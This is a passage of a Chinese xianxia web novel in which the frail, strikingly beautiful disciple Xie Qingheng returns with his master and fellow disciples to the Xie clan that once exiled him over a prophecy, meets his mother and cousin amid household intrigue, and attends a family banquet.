曾京墨看着他们离开的背影,许久,江雨眠疑惑上前问道:“你在看什么?” “师姐,你不觉得大师兄和小师弟过于亲近了些吗?” 江雨眠更加疑惑:“不是很正常吗?我和小师弟一般大的时候也很粘大师兄啊。” “不对,”曾京墨下了论调,“当初玄凤玄英都没这么粘大师兄,而且大师兄的态度也很奇怪。” 江雨眠道:“这有什么奇怪的?我和玄凤玄英她们都是女子,大师兄难免要避嫌。” 自从她们来过葵水,谢青珩就不许她们随意进出他的房间,当然,谢青珩也不会随意进入她们的房间。 曾京墨:“男子和男子就不需要避嫌了吗?” “脑子有病就去治。” 江雨眠耗尽了今天说话的句子,半点好脸色都不想给曾京墨。 经过了一遭鬼云潮,好似将所有的厄运都耗尽一般,后续路上没有出现半分岔子,甚至于穿过尘烬覆盖的灰白区域时,也是有惊无险。 谢青珩坐在起纹秋水席上,桃花长簪斜斜穿过他浓黑的长发,他眼眸轻垂,纤长的十指有条不紊地理着膝上红线,他生得过于白皙,阳光一照,便有种玉石般的清透感,手背上的青色也是淡淡的,非要捧在眼前瞧上几回才能看清。 叶言旭看得有些入迷,没注意到旁边等待着的长剑,将它彻底掀翻在地,发出金属落地的声音。 长剑登时不乐意了,横插进两人中间,剑尖朝向叶言旭,颇有些“弑主”之意。 叶言旭膝盖一抬,便将长剑死死压住,他捧着谢青珩的手,吃味道:“大师兄给我做络子都没有给何归去做的认真,它不过一个死物,能有我讨大师兄开心吗?” 长剑剧烈嗡鸣起来,显然是对叶言旭的话有所不满。 谢青珩轻笑道:“我答应给何归去换条剑穂,再说,它是你的剑,我给它做,不就是给你做吗?” “还有,你再这么说何归去,小心它下次就不听你的了。” 叶言旭按住何归去,道:“你敢吗?” 长剑低低嗡鸣,再不复刚才的剧烈,剑柄悄悄朝谢青珩靠去。 谢青珩见此不由得点了点叶言旭额头,道:“把它放出来吧,正好我做完了。” 叶言旭依言松手松脚,长剑雀跃地跳动,谢青珩一招手,长剑便躺在他怀里,乖乖让谢青珩给它换剑穂。 叶言旭心虚地揉了揉鼻尖,看着谢青珩温柔的手法,心虚得更厉害。 鼻尖骤然浓郁的香气还未散去,那张他以为看惯了的脸在那一瞬间艳绝殊胜,似月浓化雪,猝不及防落入他眼前。 少年的心在那一刻跳动得格外剧烈。 剧烈到他根本分不清到底是为了什么。 谢青珩绑好剑穂,长剑发出清脆的嗡鸣,剑 身竖直,像个醉酒之人般摇摇晃晃,红色的流苏也在空中划过漂亮的痕迹。 “嗡!” “好看的。”谢青珩指尖挑了挑凑过来的长剑,眉眼缱绻温柔。 叶言旭斜睨着他们那副“主仆情深”的画面,鼻尖发出轻轻的哼声,略有些不满道:“何归去都糙惯了,也就大师兄你把它打扮得跟个娃娃似的。” 谢青珩侧头,发丝如瀑,小巧精致的耳坠摇晃,使那张清绝至极的脸多了几分如梦似幻。 “好看点不好吗?”谢青珩嘴角噙着笑意,“我们何归去未来也是一代名剑,自然要有名剑的威仪。” 名为何归去的长剑再次发出满意的嗡鸣,剑柄温顺地躺在谢青珩面前,活像是沾了荤腥的小狗。 叶言旭不自然道:“那我呢?” 谢青珩故作不解地望过来,在叶言旭略有些失望的目光下,缓缓开口:“小师弟以后也会是一代剑修,天下谁人不识君……” 叶言旭眼睛亮晶晶地看向谢青珩:“还有呢。” 谢青珩轻轻笑了下,如春风杨柳,如月色昙花:“将来必定登临第三境……” “好了好了,大师兄太看得起我了,”叶言旭忍不住凑近,两张脸正对着,能够清晰看到彼此每一个表情,“大师兄还把我当小孩子。” 谢青珩停顿,眼睫低垂,语气笃定:“不是哄你,我是真的觉得我们小师弟能够修到第三境,那时候可不要忘了大师兄。” “怎么会!要是我能修到第三境,呼风唤雨不在话下,一定能为大师兄寻来延寿修行的宝物!” 谢青珩看着叶言旭认真的模样不由得出了神。 叶言旭脸上的兴奋停滞,呆呆地看着近在咫尺的人,蔽月回雪,清如芙蕖,玉骨天成,潋滟神光使天下万物皆失颜色。 恍若神子临世。 叶言旭身子下意识前倾,手掌压住谢青珩的袖口,彼此呼吸心跳都那么明显。 “咳……”谢青珩不自在地咳嗽一声。 叶言旭如梦初醒般坐直,不自觉地摸了摸鼻尖,沾染上的馥郁香气却刺得他脸颊耳后一片通红。 谢青珩抬眉看向他,眼波如水,眉目间愁绪万千,却只化作一句低声呢喃:“我等着,小师弟,我会等你,只是希望那时你不要将我忘了,就像谢家一样。” 他对谢家也并非一无所知,早在他九岁时,谢家女天骄的名声便开始展露,从州府至乡野,有谢家产业之地,便有传唱庆祝之事。 宴席摆了一桌又一桌,谢青珩领着师妹师弟钻进去,管事笑眯眯拦下驱赶他们的人,说道:“正好和我们小姐差不多大,也算是为我们家小姐结个善缘。” 周侧没有隐瞒过谢青珩的身世,他以一种冷酷却有效的手段告诉了谢青珩始末,没有让他困在等待希望的囚笼, 谢青珩照顾着几天都没有吃饭的师弟师妹,听着管事骄傲说道:“大老爷膝下只有小姐一个子嗣,怎么能不宠爱?况且小姐天赋也高,小小年纪就进了玄天宗,将来前途一片光明,今日就当是与诸位结个善缘。” “哎呀,莫说是老爷,就是家主也对这个孙女宠爱得紧。” “小姐已经入了仙途,想来不久就能踏足第一境伏流,那时谢家必有庆祝。” 8.父母 飞舟缓缓下落,红色风帆收紧,风声混杂着人声传入耳中,才有了落地的实感。 丰宁府是入帝京的必经之路,又有两条运河交错而过,繁华非常,时有小帝京之称。 即使飞舟降落的渡口专供世家通行,但仍因为往来人数过多,而显得嘈杂非常。 叶言旭第三次为谢青珩整理幂篱下的白纱,仍然有些不放心。 周侧都忍不住说道:“小兔崽子,你师父我练的灵器还没有这么不禁用!” 叶言旭没理他,周侧眉头皱了又皱,冷哼道:“装聋是吧!” 谢青珩扶了扶有些下坠的长簪道:“师父,小师弟也是担心我。” 周侧横眉竖眼:“小兔崽子看人下菜碟呢,没见得他对其他师姐师兄这么上心呢。” “乖徒儿,小心兔子成了狼,会咬主人的!” 叶言旭再也忍不住:“老东西说谁呢!” 老东西不靠谱也不是一天两天的事情了,还好意思夸耀自己,叶言旭光是想起周侧做的事情都恨不得断绝师徒关系。 更可恶的是老东西居然敢挑拨他和大师兄的关系。 叶言旭冷笑着揭短道:“不说第二境登仙台的修士,就说那个不入流的小贼,大庭广众之下揭了大师兄的幂篱,要不是我反应及时,他都要捅进天机阁了!” 天机阁榜单众多,除却天地人三榜,还有好事者闲暇评出的榜单,最有名的就是美人榜,不拘男女,只要是美人就能上榜,若有人不服,可凭留影石或真人前去揭榜,只要上了榜,天机阁就会给揭榜人奖励。 无论本人是否同意,其名字和相貌都会在榜上公示,供天下人参观。 可美丽并不能成为他们的护身符,反而会招来更多祸患。 叶言旭想起这个就生气,要不是老东西没有加固炼制,那个不入流的小贼怎么可能发现大师兄? 谢青珩拦下想要动手的叶言旭道:“好了好了,你们都少说两句,知道是师徒,不知道还以为你们是仇人!” “大师兄!”叶言旭挡在谢青珩面前,“你不许拉偏架!” 周侧冷笑:“别以为在外面我会给你留面子,叶言旭,你好话听不了的话,为师不介意送你进我袖子里好生修行。” “老东西!” “小东西!” 两人不甘示弱,谢青珩分别拉住两个人的手,下了结论:“都别吵了,师父你不要总是惹小师弟,小师弟,你也不要把师父当仇人看。” “行了,就这么说定了。”谢青珩也不管两人的眉眼官司,拉着叶言旭往前走。 留在后面的周侧落寞地喝了口酒,叹息道:“儿大不由爹啊。” 跑在前面的两个红衣小女孩又手牵着手回来了,高兴地拉着谢青珩的手说道:“大师兄,谢家来了!” 也就在此时,谢宥安走了过来,他身后跟着被打理得油光水滑的白马,说道:“大公子,车马已经来了。” “追月!”玄凤玄英高兴地摸了摸它鬃毛。 白马有些不耐烦地甩了甩头,却没有强硬地阻止两个小女孩。 等她们摸够了,白马才缓缓踏步走到谢青珩面前,十分不经意地展示了一番自己背上新配的马鞍。 谢青珩抚摸着白马漂亮的鬃毛,笑道:“银鞍照白马,飒沓如流星。” 白马得意地扬起头,眼睛里流露出一丝人性般的高傲和轻蔑,正对着叶言旭。 叶言旭也笑,他走到白马身边,猛地拍了拍马屁股,“追月,这几日你吃了多少,都快胖成小猪了!” “这新配的银鞍都有些勒肉了。” 白马呼吸登时就重了,前蹄高高扬起,眼看着就要踹过来,叶言旭却单手扶住马脖子,故作洒脱道:“好了好了,别闹了,很帅,好了吧!” 玄凤幽幽道:“小师弟,难怪追月不喜欢你。” 玄英补刀:“是我,我也想踹你!” 叶言旭不屑道:“我可不要一匹肥马的喜欢。” 白马嘶鸣,愤愤地踏了一脚叶言旭旁边,又绕到谢青珩身边,委屈地将头送进谢青珩掌心。 “他胡说的,我们追月是最帅的天马。”谢青珩安慰道,但手里的重量却不能骗人,追月,好像真的有些重了。 但这句话可不能说出来,追月闹脾气还是有点难哄。 追月驮着谢青珩落到谢家一行人面前,这些人像是早就知道般,恭声说道:“奉家主之命,接大公子回家!” 一番举动,惹得旁边正常通行的人频频回望。 有人认出来谢家的家徽:“谢家?大公子?谢家不是只有个大小姐吗?” “难不成是其他几房的?” “不大可能,大公子这个名号只有嫡出大房才能用……” “谢家什么时候出了个大公子?” 叶言旭凑到谢青珩耳边道:“大师兄,这马车能坐下两个人吗?” 他们说话间,许久未曾出现的徐合搀扶着比谢青珩裹得还严实的谢修远悄然走进队伍末尾。 谢宥安承担了主事,朝周侧开口道:“周峰主,这边请。” 叶言旭偏要跟谢青珩挤一间马车,不顾周遭的目光,小心扶着谢青珩进了马车。 等上了马车,两人才知道别有洞天。 叶言旭给两人倒了茶水道:“大师兄,这谢家还蛮有意思的。” 谢青珩摘下幂篱,抿了口茶水,便开始打理弄乱的头发道:“哪里有意思了?” “我们在飞舟上的时候,那些奴仆虽然不明说,但也时不时用那种眼神看我们,像是我们招灾似的。” “更有意思的是,他们都这么厌恶我们了,送来的东西也没做过什么手脚,我们要什么就给什么,”叶言旭吃了口点心道,“今天来接我们的还有几个伏流境界的护卫,这些人早就受到消息了,还表现得我们很尊贵一样。” 谢青珩轻声道:“越是世家大族,反而越在意表面功夫,就是怕自己落了下乘,叫外面人笑话。” “等着吧,更有意思的应该在我们进去后。” 叶言旭点头道:“也是。” 车队停在一处威严大门前,还没有停稳,就有人上前迎道:“可是表弟?” 叶言旭替谢青珩收着幂篱,没理外面的人,说道:“大师兄,真不戴吗?” 谢青珩却没有犹疑,缓声道:“好歹是生身父母,总要见面的,与其藏着掖着,作此小气之事,不如干脆些,也好叫人知道这些年师父不曾亏待我。” “再说,过几日我们就要返回宗门了,总不能让宗门里的人以为师父养了个不能见人的大徒弟吧?” 叶言旭点头:“好,大师兄,等会儿你扶着我手下来。” 马凳已经备好,叶言旭偏不走,而是利落跳下,朝马车中的人伸出了手。 “表弟?我叫云随雨……” 云随雨打量着叶言旭,见他没理自己,也不恼,仍旧笑着介绍自己,目光却在叶言旭脸上停驻片刻。 叶言旭生得剑眉星目,窄袖深衣,自有一番少年侠气,叫人过目难忘。 云随雨瞧着他气息内敛,但双目有光,显然是入了第一境,而叶言旭脸上仍旧有些稚气,不像是青年人。 更不像姨母那个生来不能修行的孩子。 果然,马车里伸出一只秀白如玉的手,在阳光下,白得发光,紧接着,一个夺尽天地造化的身影。 云随雨喜悦的神情顿时凝固,眼眸不住地瞪大,看得叫人笑话。 但也顾不得什么笑话。 所有人的视线都牢牢锁住谢青珩,尽显痴态。 云随雨从没见过这么这么美丽的人,在谢家没见过,在玄天宗没见过,在来往各种宴席上都没有见过。 如高山之雪,如不落之月,无尘无垢,于阳光之下,又皎若朝霞,灿若明辉,非历绝境不可轻见,非渡寒潭不可易闻。 这已经不是天地垂爱的程度,而是天地用尽灵气才能造就的地步。 若得此人,天下皆闻! 云随雨心智坚定至此,又有两心相许之人,心中都不免涌起掠夺拥有之意。 甚至于,越相看越觉得可惜,恨不得早日相见。 可就在他想入非非之际,面前神仙一般的人物却仿若听到了心中之想走到了他面前,淡如三月桃花的唇瓣轻启,吐出幽兰一般的香气:“表哥?” 云随雨的心从高空升起,又突然重重砸下,几乎快要维持不住脸上的表情:“表、表弟?” 谢青珩轻笑,如枝头绽开的玉兰花:“是我。” “咳咳咳!”叶言旭不满地咳嗽,眼刀飞向云随雨身边的奴仆,“你们谢家火气这么大?” 不少气血十足的护卫鼻腔流出两道鲜红的血液。 见谢青珩的目光转向他们,立即手忙脚乱地擦干,却弄得越来越脏,看得谢青珩不由得发出笑声。 那群护卫脸更红了,鼻血怎么擦都擦不干净。 云随雨看得皱眉,“还不弄干净!” 恰好这时曾京墨也走了过来,看了两眼道:“肝火太旺了。” 玄凤玄英挑眉道:“三师兄不去扎两针?” 江雨眠过来拍了拍两个红衣小女孩道:“少说两句。” 云随雨不敢再看谢青珩,怕落得护卫一样的结果,转而看向周侧,恭声道:“周峰主。” 周侧不在意地挥手:“别整那么多虚礼,饭食都备好了吗?” 云随雨笑道:“那是自然。” 谢宥安匆忙让在飞舟上的护卫顶上,拦住即将要进门的几人道:“还望周峰主和大公子先随我见过家主。” 云随雨停下来,转身对谢宥安说道:“宥安兄恐怕还不知道,姨母过于思念表弟,求了家主恩典,让表弟先去看望姨母。” 谢宥安沉默一瞬,终究还是道:“是么?那我就不打扰大公子母子团聚了。” 云随雨没想到谢宥安这么知趣,于是道:“宥安兄还是先去看看令妹吧,前几日修炼室出了问题,好多家族弟子都受伤了。” 谢宥安闻言脸色一边,招呼都来不及打就飞奔而去。 云随雨笑着说道:“宥安兄与妹妹相依为命,难免着急了些。” 等云随雨平复一番,才对谢青珩说道:“表弟,姨母这些年很是思念你,若不是因着天机阁那句谶言,姨母都恨不得跟着你一道侍奉周峰主。” 谢青珩问道:“什么谶言?” 云随雨面露惊讶:“表弟竟然不知道?唉,是表哥多嘴了,等下见到姨母,表弟就知道了。” 叶言旭望着两人谈话,不痛快地说道:“故弄玄虚。” 周侧什么也没说。 而在他们进入后,一辆马车停在后门,等候已久的人将谢修远放在小轿上,轻柔却快速地走向更深处。 徐合怀里捧着个墨色匣子,躲开诸多视线,沿着小路走向一座三进院中。 一路上寂静无波,遇见的所有奴仆都低垂脑袋静默不语。 徐合推开书房的门,奉上墨色匣子,跪下请罪:“老奴有罪!” 坐在上首的人语气没有任何波澜道:“你有什么罪?” 徐合脑袋磕在冰冷的地砖上,沉声道:“老奴监管不严,致使二房公子招惹了鬼云潮。” 上首的人轻笑:“你这老滑头啊。” “测出什么了吗?” 徐合道:“周峰主跌境多年,鬼云潮逼进大门也没有出手,像是个真正的登仙台境。” 鬼云潮最大的特征就是难缠。 一道术法能够杀死一道鬼影,却不够杀死积蓄成潮的鬼云,第一境伏流的修士扛不住刺骨的阴气,第二境登仙台的修士即使能勉强降服,但这是鬼云潮已经被逼进了绝境,威势大增,打斗下来,莫说是下品飞舟,就是中上品飞舟都要被拆烂。 登仙台的修士虽能御空,但也抵挡不住高空无孔不入的鬼气和更加恐怖尘烬。 而鬼云潮只要不动,就能无伤过去,因此许多飞舟都会下达宵禁,提前挂上遮掩气息的白骨灯笼。 上首的人放下毛笔道:“徒弟都在鬼云潮中都不出手,看来周侧真的没有其他手段了。” “昔日燃业火的真人尚要苟且偷生,又怎么能保护好徒弟和临渡峰呢。” 徐合道:“大老爷英明。” 9.隐秘 迈过二门,才算真的进入谢家。 钟鸣鼎食之家,建制也十分讲究,中轴对称,其余建筑层层递进,重檐歇山,亭台楼阁,花园湖泊,无一不精,无一不美。 恢弘大气,处处彰显着世家风范。 其间行走的奴婢身强体健,衣着统一,行走坐卧自有一番规矩,虽然对谢青珩感到惊讶,却也能很快恢复正常。 云随雨先让几个奴婢领着周侧一行人去备好的住处,再领着谢青珩走向东边。 谢青珩有些好奇地打量周围的景色,东跨院整体清幽,但后边却隐约浮现一团团颜色各异的花,争奇斗艳,美不胜收。 云随雨目光在那处短暂停滞片刻,低声解释说:“那是徐姨娘的住处。” 也是离大老爷最近的地方。 谢青珩点头表示知道了,云随雨接着又说:“徐姨娘出生不好,但生了个好女儿揽住了姨夫的心。” 云随雨打量着谢青珩出神的样子,那双水光潋滟的眸子在树叶阴影里氤氲着若有似无的雾气,如花瓣露珠般折射他眼中的景象。 云随雨呼吸一滞,生怕不小心吹落了水珠,心底升起隐隐约约的怜惜。 “表弟生得……生得如此不凡,姨母见了一定会很欢喜。” 谢青珩其实没有理解云随雨话里的意思,只是轻轻地说:“但愿如此。” 真正让谢青珩出神的不是那些花团,徐姨娘院中那些灰白的线。 凡民,徐姨娘也是凡民出生? 他们没有耽搁太久,一路进入了主院。 说是主院,也太过冷清,青竹也显得萧条,不复在外所见的金堆玉砌。 谢青珩也在这里第一次见到了自己的生母,云姒。 她有一张三十来岁的成熟面容,朱唇皓齿,云鬓乌黑,金簪步摇,华贵非常。 头顶紫色更是直冲天际。 “姨母,”云随雨快速走到云姒身边,眼中孺慕之情和欣喜都掩藏不住,“表弟回来了。” 云姒淡淡笑着,唇色如血,而眉目温柔。 谢青珩站在下首,心底没来由得一阵紧张,等到云姒眼眸扫到他身上时,更是身体僵硬,不知道什么做什么。 云姒目光在谢青珩脸上停住,丹凤眼不自觉眯起,良久,她朝谢青珩招手:“孩子,过来。” 谢青珩依言上前。 云姒仔细打量着谢青珩的眉眼,不由得感慨道:“真是好颜色。” 随即,她又笑起来:“你阿父见到必定也是欢喜非常。” 云随雨看着他们,不自觉想到不愧为母子,姨母已是世间难得的美人,她的儿子更是青出于蓝胜于蓝。 云姒握住谢青珩的手,眼中含着泪光,不住说道:“回来就好,回来就好,阿母还怕再也见不到你了。” 谢青珩望着云姒眼中不似作伪的慈爱,喉间干涩,轻声道:“阿母。” 云随雨也道:“姨母别伤心,表弟既然回来,必定会陪伴姨母左右,以全这些年的缺失。” “好孩子,”云姒拉着谢青珩的手,“这次阿母一定会保护你的,必然不叫你我母子再受分离之苦。” 云随雨适时开口:“表弟,你有所不知……” “随雨!”云姒冷声。 云随雨着急道:“姨母!表弟迟早都要知道的!” 云姒泪光涟涟:“早都过去了,何必再知道惹人心烦呢?” “可是重锦轩里的母女难道会放过姨母和表哥?” 谢青珩也开口:“阿母,让表哥说吧。” 云姒掩面,云随雨脸上带着怒意:“重锦轩里住的就是徐姨娘,她本是娼妓出身,趁着姨母怀表弟你时趁虚而入,迷惑得姨夫不顾谢家清誉将她带入府里抬为姨娘。” “偏她狐媚又生了个资质不凡的女儿,将姨夫的心全拢了过去,不仅如此,她还买通了天机阁的大师,在表哥你的满月宴上说出了那句谶言!” 云随雨声量拔高:“刑克六亲,于族有碍!才使得表弟你早早被送入临渡峰,才导致你和姨母分别二十余年!” 云姒泣声道:“可怜我云家衰落,至于今时才知晓原委,将证据呈与家主,才得以让珩儿你回来。” 云随雨又道:“姨母最先还想让姨夫做主,没想到重锦轩里的狐媚子让其女儿出面,断绝了姨夫接你回来的念头,要不是姨母坚持让我去找谢家主,如今你们母子二人还要继续分离。” 随即,云随雨眼中闪过狠色:“那两个女人还不安心,试图在表弟你乘坐的飞舟上动手脚,坐实你谶言。” 谢青珩心中泛起浅浅的波澜,他垂眸问道:“阿母想要如何?” 云姒声音里带着哭腔:“我只是想要我们母子二人不分离!” “幸而你表哥在剑道上略得天剑峰赏识,才没叫那对母女除掉我,”云姒握着谢青珩的手,如同抓着一根救命稻草,“孩儿,阿母再也不想经历母子分离之苦了,你从此就留在我身边,好不好?” 谢青珩没有说话,他静静地看着云姒,如同春水湖面,干净得只能反映出照射的人。 云姒急切道:“孩儿,你表哥很快也能进入第二境登仙台,他如今能护住我们母子二人了。” “是啊,表弟,”云随雨恳切道,“等表哥我有能力,一定将你们都接出谢家,我们三人才是亲缘血脉啊!” 谢青珩抬起眼眸,澄澈无比,没有一丝异色:“阿母,表哥,我自小在师父身边长大,同门待我极好,等过些时日也要去玄天宗了。” “师父说了要引我入仙途,那时我也能带阿母出来,不急于一时。” 云随雨脸色空白,眉头不自觉皱起,语调拉高:“引你入仙途?!” “是。” “可是你不能修炼啊!” 谢青珩笑道:“师父说,他有无上宝。” 云姒反应极快,唇角勾起,笑道:“真是好事啊,周峰主果真不负峰主之名啊,珩儿,你也算是有缘法,阿母真为你高兴。” “见到阿母,孩儿也很高兴,只是师妹师弟尚且年少,正需我在身边教导,等他们能够独当一面,孩儿必定承欢阿母膝下。” “珩儿高兴就好,”云姒眉间舒展,一片慈母之心,可旋即看到谢青珩身上浅褐色的粗布衣裳时,蹙眉道,“只是你这身衣服粗陋,实在不堪,正巧我前几日得了匹织金绸缎,正好给你做了身衣裳。” 谢青珩正欲再推辞,可云随雨紧跟着说 道:“表弟可不许推辞,姨母听闻表弟回来,熬了几宿才做了件衣裳,只盼着表弟回来穿上。” 云姒一个眼神过去,便有丫鬟从里间捧出一个雕花的盒子,打开以后,浮光潋滟,贵不可言。 “便让她们几个一道过去伺候你吧。” 谢青珩不得不表态道:“阿母,孩儿在外自给自足,无需旁人伺候。” “这就表弟的不对了,”云随雨正色道,“姨母慈心一片,为人子怎能轻易推辞?” 谢青珩叹息着行礼道:“青珩明白了。” “这就对了,珩儿身为世家子弟,身边怎么能没伺候的人呢?”云姒笑着。 回去的路上,谢青珩想着云姒和云随雨,一紫一蓝的命运线交相辉映,让他不能够轻易忽略。 可他总觉得有些奇怪,特别是当他进入到谢家以后,心底的怪异越发明显却不知来源。 谢青珩忽然停住脚步,抬眼看向丫鬟头顶,几道金色一闪而过,待他要仔细看时就怎么也找不到了。 金色,金色! 谢青珩脑中胀痛,却极力压制下去,不漏一丝破绽。 “大公子?”丫鬟眼中传来关切之色。 谢青珩抬起脚步:“无事,只是想起些事情。” 终于,谢青珩想到了怪异的来源,自他进入谢家以后头顶就仿佛多了一座看不见的山,将他的眼睛压得根本看不到具体的颜色。 自谢青珩抽出金线后,还从没有发生过这种事情。 凡是他看到的金线,无论是多还是少,他都能凭空握住,而那些金线也会快速融入他体内。 谢青珩有预感,再得到些金线,将会有不可思议的事情在他身上发生。 可是如今,他居然找不到握不住。 谢青珩不由得加快了脚步,他怀有诸多疑问,想要回去问问师父。 可是等谢青珩回去时,才得知周侧被大老爷,也就是他生父那边的人请走了。 叶言旭在外练剑,看到谢青珩回来后就立马迎了上去,他有些疑惑地看着谢青珩垂眸不语的样子道:“怎么了大师兄?” “没事,师父有说什么时候回来吗?” 叶言旭摇头道:“没有,他让我们不必等他。” “那好吧。”谢青珩有些失落地推开门。 叶言旭才发现谢青珩身后跟着的丫鬟:“大师兄,他们是谁?” 谢青珩解释道:“是我阿母送来的人。” 丫鬟们进屋后自然地将衣裳挂上,紧接着就要伺候谢青珩更衣。 叶言旭眉头一皱,迅速挡在谢青珩身前:“干什么!” “奴婢伺候大公子更衣……” “不需要!”叶言旭根本没有什么怜花惜玉的心思,语气很冲地将人都赶了出去。 然后才捧起谢青珩的手,问道:“发生了什么事情?” 谢青珩声音轻如羽毛,好似怕被人发现般说道:“我在想阿母和表哥说的到底是真还是假?” 叶言旭紧盯着谢青珩的手,腕间、手指上鲜红的勒痕如此显眼夺目,叫人无论如何都不能忽视。 “谁干的!”叶言旭语气难得狠厉起来,“大师兄,你告诉我是谁干的?!” 10.夜宴 谢青珩体弱是师门中的常识。 叶言旭踏入修行以后,就更加明白这一点,他小心守护着谢青珩,像小心翼翼擦拭一尊琉璃瓶,任何稍重的动作都会刻下难以磨灭的痕迹。 谢青珩垂眸看着叶言旭粗声粗气地为他上药,手背上鲜艳的红痕不再泛起痒和疼,逐渐恢复到原本的状态。 “我见到我阿母了,”谢青珩轻声说道,“她和想的有些不一样,又有些像。” 叶言旭愣了一下,明白了谢青珩为什么会是这幅样子。 临渡峰中,也就谢青珩和江雨眠凑在一起,才能勉强拼出一对父母。 “那她也不能这样啊……”叶言旭嘟囔着,火气去的也快。 就在此时,玄凤、玄英推门而入,大声道:“大师兄!” 声音戛然而止,谢青珩见她们看着自己手上的药膏,轻声道:“无事,你们说。” 玄凤、玄英这才凑到谢青珩身边,眼睛亮晶晶的:“大师兄,大师兄,你阿母怎么样,和大师兄一样好看吗?” 谢青珩点点头:“好看的。” 她们又问:“她是不是和牛大的阿母一样,也等着大师兄回来?” 谢青珩想了想:“算是吧。” 玄凤、玄英话音蓦然低落:“那大师兄是不是也要和牛大一样陪在阿母身边,不和我们一起走了?” 叶言旭闻言,也目光灼灼盯着谢青珩。 谢青珩认真道:“不会,她们不一样,我阿母不是孤家寡人,我其实也不想留在这里。” 这话说的有些无情,更不符合谢青珩多年看书所学,但确实是他的真心话。 尽管这样的话放在外面会被说是不孝。 谢青珩又解释道:“我知道她过的很好,有我没我也一样。” 玄凤、玄英有些疑惑道:“可是我们听说大师兄的阿母这些年很不受宠啊。” “可她是踏入仙途的修士,”谢青珩想到那根紫线,“她大抵已经入了第二境登仙台了。” “什么!” 玄凤、玄英惊呼,就连叶言旭也皱了眉头。 登仙台的修士,近乎和他们师父一样的境界,怎么会受困于后宅之事,甘心让自己唯一的孩子流落在外? 谢青珩知道师父的境界手段,难免不与之相比,可他心里到底存了一丝善念道:“可能她也有她的苦衷,可是我不想留在谢家。” 谢家给他的感觉很不好,就像是突然置身于湿润之中,五感都被封闭,只能凭借本能前进。 叶言旭轻轻拢着谢青珩的手,道:“等师父回来,我们就跟他说。” 谢青珩点头。 可他们没有等来周侧,反而等来了一场转为他们所设的宴会。 因为是私宴,来的人都是谢家一脉的,并不见许多外姓人。 谢家自诩钟鸣鼎食之家,所用之物都尽力向帝京靠拢,兼有精美和大气之风,叫人望而生畏。 谢青珩一行人在丫鬟的轮番劝阻之下,都已沐浴更衣,难免来的迟些,等他们来时,各家已分列而坐,悄声交谈着什么。 身为谢家家主,谢天磊已是登仙台后期的修士,仍然有着不同于一般中年人的外貌,鬓角乌黑,不见一丝霜色,目光沉稳却隐见锐利之色,一身腱子肉将衣袍撑得紧实。 在他的下方,大房谢长风看起来也只有三十来岁,生得一张正气凛然的脸,却笑着和身边的幼子玩闹。 谢长风左右两侧,分别是正室夫人云姒和姨娘徐氏,云姒此时穿着正红色的衣裳,头上珠钗熠熠,将她的美丽抬高了不少,而徐姨娘歪髻蓝花,一身气度清雅,眼角已经有了细细的皱纹,笑起来时尤其明显。 两人对比之下,更显云姒的美丽,是以不少人投来异样的眼光。 珍珠与鱼目,大房竟然选了鱼目。 但这件事情在谢家也不是天大的秘密,比起美丽,许多人更支持有天骄子嗣傍身的徐姨娘。 而云姒身边也坐着云随雨,正在低声劝慰着什么。 二房谢天和看起来要比他父亲还要老,身边陪着的夫人也和他差不多年岁,他们这次带了另一个年纪小的儿子,此时也在私语着。 三房谢茂学算是谢天磊老来得子,年纪轻,一心醉心修行,不曾娶亲生子,就连在宴会上也在默读书卷。 最末尾的便是谢家旁支,他们进退有度,并不抢主脉风头,只默默注视着周围。 谢长风逗弄着小儿子,举着颗灰黑色的果实:“英儿,你看这是什么?” 小儿子扎着长生辫,虎头虎脑地说:“阿父,是阴果,英儿要吃。” 谢长风笑着将果实喂给小儿子,摸着他的头说道:“等会儿见了阿兄知道怎么说吧?” 小儿子道:“英儿知道。” 徐姨娘含笑道:“你们啊。” 不远处的谢天和看着他们的动静,跟身边的夫人说道:“也就阿兄稀罕……” 他身边的夫人劝慰:“好歹是阿兄的亲儿子。” 谢天和冷哼:“算什么?两个都不是……罢了,阿父也是的,当年放出去的祸害,如今不仅亲自接回,还要举办什么宴会,不就是叫我们认认脸,好让他认祖归宗吗?” “真是祸害啊,”谢天和咬牙,“咱们修远就是去接他,才叫鬼云潮祸害了,我谢家二十多年来都没出过这种事情,偏他回来就有了!” 夫人也叹道:“还好有徐管事在,不然真就让修远送了命。” 她想到什么,转头叮嘱自己的二儿子:“旻安,你可不许跟大房那个走近了,万一耽搁了你仙途……” 谢旻安无奈道:“阿母,儿子知道,玉灵阿妹即将入第二境登仙台,我等再是不知事,也不敢跟他走近。” 说是这么说,可谢旻安却想起自家兄长每晚哀嚎,清醒之时也是呆呆看着空中,写堂兄的名字,说是绝世倾城之美,就连徐合也承认堂兄姿容过盛。 谢旻安如今是真有些好奇,却不敢在阿父阿母面前表现出来,只能斜眼看过去。 和谢旻安有一般想法的还有许多人,既厌恶忌惮祸害之名,又忍不住想知道那个让二公子谢修远都折了的人究竟有多美。 可更多人却抑制不住厌恶,仅是飞舟遭逢鬼云潮之事就让他们联想起当年的谶言,于族有碍! 幸好,谢家还有玉灵小姐能够撑起门楣。 谢青珩一行人踏入宴席的瞬间,满场皆静,细碎私语凝冰而碎,针落可闻。 谢旻安是第一个发现他们的人,可他的视线都被中间的人牢牢吸住,光影烛火都偏爱着那个人,唯有料峭岩壁,孤高至极之地才能孕育出这样的人,一捧雪色,便夺去了天地大半造化。 碧玉琼瑶,万花摇落,幽香四溢。 衬得那身织金的衣裳也黯淡无光。 随意的那一眼,竟然让谢旻安心神震荡,恍若天上神女降临凡尘,满室生光,少年俊脸刷的一下全红了。 不光是谢旻安,就连许多女眷都出神地盯着谢青珩。 谢旻安喃喃道:“伯父竟然能生出堂兄这般人物……” 还有些好事者道:“天机阁的美人榜真是该更新了!” 不少人也是这般想的,暗自打量着谢长风夫妻二人,虽也算得上是郎才女貌,但也只是世俗上的好看,远比不上谢青珩超凡脱俗的美貌,简直不似人能生出来的仙姿,怎能不瞠目结舌? 谢青珩对他们的打量早已习以为常,他望向主位的谢天磊,身体微微前屈:“青珩见过祖父。” 后又侧向大房所在之地,道:“见过阿父,阿母。” 谢天磊垂眸注视着谢青珩,仙姿玉貌,超然物外,轻易便将宴席上的一切目光凝聚起来,谢家百年以来,未有如此人物。 就算是美人榜上,也能力压一重美人。 须臾,谢天磊大笑:“好好好,我谢家出了个谪仙人!好孙儿,上来让祖父好好瞧瞧。” 谢青珩目光移向早已坐下的周侧,得到肯定后,才慢慢走上前去。 谢天磊满意地看着谢青珩道:“面如凝脂,神仙中人矣。”* “祖父谬赞。” 谢天磊笑道:“事实而已,青珩孙儿何必自谦?” 